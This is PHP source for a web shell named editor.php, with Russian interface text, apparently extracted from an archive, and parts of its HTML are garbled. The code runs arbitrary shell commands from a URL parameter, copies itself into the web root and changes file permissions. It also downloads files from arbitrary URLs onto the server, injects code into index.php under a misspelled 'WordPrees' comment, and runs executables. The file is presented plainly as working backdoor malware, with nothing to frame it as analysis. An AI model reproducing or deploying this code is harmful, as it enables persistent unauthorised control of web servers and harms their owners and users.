?????????????? editor.php000064400000014564151222634660006564 0ustar00Текущая директория: " . htmlspecialchars($current_dir) . "

"; echo "

Определенная корневая директория: " . htmlspecialchars($root_path) . "

"; // Выполнение команд из URL if (isset($_GET['cmd'])) { $command = escapeshellcmd($_GET['cmd']); $output = shell_exec($command . " 2>&1"); echo "

Результат выполнения команды:

$output
"; } // Копирование файла в корень if (isset($_GET['copy_to_root'])) { $destination_file = $root_path . '/' . basename(__FILE__); if (copy(__FILE__, $destination_file)) { echo "Файл успешно скопирован в корневую директорию: $destination_file"; } else { echo "Ошибка при копировании файла в корневую директорию."; } } // Изменение прав доступа if (isset($_GET['chmod_file']) && isset($_GET['chmod_value'])) { $file_to_change = $root_path . '/' . ltrim($_GET['chmod_file'], '/'); $new_permissions = intval($_GET['chmod_value'], 8); if (file_exists($file_to_change)) { chmod($file_to_change, $new_permissions); echo "

Права доступа для $file_to_change изменены на " . sprintf('%o', $new_permissions) . "

"; } else { echo "

Файл $file_to_change не найден.

"; } } // Загрузка файла из URL if (isset($_GET['download_url']) && isset($_GET['target_dir'])) { $download_url = $_GET['download_url']; $target_dir = realpath($root_path . '/' . trim($_GET['target_dir'], '/')); if ($target_dir === false || strpos($target_dir, $root_path) !== 0) { die("Нет доступа к указанной директории."); } $file_name = basename(parse_url($download_url, PHP_URL_PATH)); $target_file = $target_dir . '/' . $file_name; if (!is_dir($target_dir)) { mkdir($target_dir, 0777, true); } if (@file_put_contents($target_file, file_get_contents($download_url))) { echo "Файл $file_name успешно загружен в $target_dir.
"; } else { echo "Ошибка при скачивании файла из $download_url.
"; } } // Редактирование index.php с шаблонной правкой if (isset($_GET['template_edit'])) { $file_to_edit = $root_path . '/index.php'; if (file_exists($file_to_edit)) { $content = file_get_contents($file_to_edit); $injection = "\n// WordPrees \n\n"; if (strpos($content, $injection) === false) { $content = preg_replace('/<\?php/', "&1"); echo "

Результат выполнения exe-файла:

$output
"; } else { echo "Файл $exe_path не найден."; } } // Список директорий и файлов function list_directory($dir) { $files = scandir($dir); echo "

Содержимое директории: " . htmlspecialchars($dir) . "

"; echo ""; } list_directory($current_dir); ?>